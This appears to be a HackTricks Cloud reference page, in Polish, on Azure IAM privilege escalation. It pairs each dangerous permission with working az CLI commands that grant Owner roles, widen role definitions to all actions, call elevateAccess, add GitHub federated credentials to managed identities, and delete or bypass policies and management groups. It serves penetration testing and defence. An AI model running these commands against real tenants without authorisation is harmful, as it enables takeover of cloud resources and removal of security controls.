Az - Azure IAM Privesc (Autoryzacja)
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
Azure IAM
Aby uzyskać więcej informacji, zobacz:
Az - Entra ID (AzureAD) & Azure IAM
Microsoft.Authorization/roleAssignments/write
To uprawnienie pozwala przypisywać role principalom w określonym zakresie, umożliwiając atakującemu eskalację uprawnień poprzez przypisanie sobie roli o wyższych uprawnieniach:
# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
Microsoft.Authorization/roleDefinitions/Write
To uprawnienie pozwala modyfikować prawa przypisane do roli, co umożliwia atakującemu eskalację uprawnień przez przyznanie tej roli dodatkowych uprawnień.
Utwórz plik role.json z następującą zawartością:
{
"roleName": "<name of the role>",
"Name": "<name of the role>",
"IsCustom": true,
"Description": "Custom role with elevated privileges",
"Actions": ["*"],
"NotActions": [],
"DataActions": ["*"],
"NotDataActions": [],
"AssignableScopes": ["/subscriptions/<subscription-id>"],
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
}
Następnie zaktualizuj uprawnienia roli, używając poprzedniej definicji, wywołując:
az role definition update --role-definition role.json
Microsoft.Authorization/elevateAccess/action
To uprawnienie pozwala na eskalację uprawnień i przypisywanie uprawnień dowolnemu principalowi w zasobach Azure. Ma być nadawane Entra ID Global Administrators, aby mogli również zarządzać uprawnieniami do zasobów Azure.
Tip
Myślę, że użytkownik musi być Global Administrator w Entra ID, aby wywołanie elevate zadziałało.
# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
# Grant a user the Owner role
az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
To uprawnienie pozwala dodawać Federated credentials do managed identities. Np. przyznać Github Actions w repo dostęp do managed identity. Następnie umożliwia to uzyskanie dostępu do dowolnej zdefiniowanej przez użytkownika managed identity.
Przykładowe polecenie, aby przyznać repo w Github dostęp do managed identity:
# Generic example:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'
# Example with specific data:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete
Atakujący posiadający uprawnienie Microsoft.Authorization/policyAssignments/write lub Microsoft.Authorization/policyAssignments/delete nad grupą zarządzania, subskrypcją lub grupą zasobów może zmodyfikować lub usunąć przypisania zasad w Azure, co może potencjalnie wyłączyć ograniczenia bezpieczeństwa, które blokują określone operacje.
Pozwala to uzyskać dostęp do zasobów lub funkcji, które wcześniej były chronione przez zasady.
Usuń przypisanie zasad:
az policy assignment delete \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
Wyłącz przypisanie zasad:
az policy assignment update \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
--enforcement-mode Disabled
Zweryfikuj zmiany:
# List policy assignments
az policy assignment list \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
# Show specific policy assignment details
az policy assignment show \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
Microsoft.Authorization/policyDefinitions/write
Atakujący posiadający uprawnienie Microsoft.Authorization/policyDefinitions/write może modyfikować definicje polityk Azure, zmieniając reguły, które kontrolują ograniczenia bezpieczeństwa w całym środowisku.
Na przykład polityka ograniczająca dozwolone regiony tworzenia zasobów może zostać zmieniona tak, aby zezwalać na dowolny region, albo efekt polityki może zostać zmieniony, aby uczynić ją nieskuteczną.
Modyfikacja definicji polityki:
az policy definition update \
--name "<policyDefinitionName>" \
--rules @updated-policy-rules.json
Zweryfikuj zmiany:
az policy definition list --output table
az policy definition show --name "<policyDefinitionName>"
Microsoft.Management/managementGroups/write
Atakujący z uprawnieniem Microsoft.Management/managementGroups/write może zmodyfikować hierarchiczną strukturę management groups lub utworzyć nowe management groups, potencjalnie omijając restrykcyjne polityki zastosowane na wyższych poziomach.
Na przykład atakujący może utworzyć nowy management group bez restrykcyjnych polityk, a następnie przenieść do niego subscriptions.
Utwórz nowy management group:
az account management-group create \
--name "yourMGname" \
--display-name "yourMGDisplayName"
Modyfikacja hierarchii grup zarządzania:
az account management-group update \
--name "<managementGroupId>" \
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"
Zweryfikuj zmiany:
az account management-group list --output table
az account management-group show \
--name "<managementGroupId>" \
--expand
Microsoft.Management/managementGroups/subscriptions/write
Atakujący z uprawnieniem Microsoft.Management/managementGroups/subscriptions/write może przenosić subskrypcje pomiędzy management groups, co pozwala mu potencjalnie omijać restrykcyjne polityki poprzez przeniesienie subskrypcji do grupy o mniej restrykcyjnych lub braku polityk.
Przenieś subskrypcję do innej management group:
az account management-group subscription add \
--name "<managementGroupName>" \
--subscription "<subscriptionId>"
Zweryfikuj zmiany:
az account management-group subscription show \
--name "<managementGroupId>" \
--subscription "<subscriptionId>"
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

